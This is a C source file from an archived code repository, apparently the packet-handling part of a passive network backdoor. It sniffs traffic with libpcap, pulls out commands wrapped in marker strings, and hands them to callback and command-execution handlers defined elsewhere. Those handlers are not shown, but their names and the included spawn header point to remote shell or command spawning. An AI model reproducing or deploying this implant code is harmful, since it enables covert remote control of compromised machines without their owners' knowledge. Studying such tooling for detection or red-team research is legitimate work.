This repository has been archived by the owner on Apr 7, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathpacket.c
67 lines (56 loc) · 2.02 KB
/
packet.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
* packet.c
* Packet-processing
* By J. Stuart McMurray
* Created 20190322
* Last Modified 20190322
*/
#include <pcap.h>
#include <string.h>
#include "config.h"
#include "memmem.h"
#include "spawn.h"
#define BUFLEN 1024 /* Command buffer length */
size_t find_msg(const char *flag, size_t flen, char *buf, size_t blen,
const unsigned char *pkt, size_t plen);
/* The lengths of both markers */
size_t cblen;
size_t cmdlen;
/* handle_packet inspects the packet passed in by pcap_loop for a command and
* handles it if found. */
void
handle_packet(u_char *u, const struct pcap_pkthdr *hdr, const u_char *pkt)
{
char buf[BUFLEN+1];
if (0 != find_msg(CBFLAG, cblen, buf, sizeof(buf),
pkt, hdr->caplen))
handle_cb(buf);
else if (0 != find_msg(CMDFLAG, cmdlen, buf, sizeof(buf),
pkt, hdr->caplen))
handle_cmd(buf);
}
/* find_msg searches the plen bytes starting at pkt for a sequence of bytes
* surrounded by the flen bytes at flag. If found, at most blen-1 bytes are
* are put in buf, and buf is guaranteed to be NULL-terminated. The number of
* bytes found is returned. If more than blen bytes are found, 0 is returned
* and the contents of buf are undefined. */
size_t
find_msg(const char *flag, size_t flen, char *buf, size_t blen,
const unsigned char *pkt, size_t plen)
{
/* Start and end of found string */
const unsigned char *start, *end;
/* See if the marker's there */
if (NULL == (start = bsd_memmem(pkt, plen, flag, flen)))
return 0; /* Not there */
start += flen; /* Start of the found string */
/* See if we have an end marker */
if (NULL == (end = bsd_memmem(start, plen-(start-pkt), flag, flen)))
return 0; /* Not there */
/* Save buffer */
if (blen-1 < end-start)
return 0;
memset(buf, 0, blen);
memcpy(buf, start, end-start);
return end-start;
}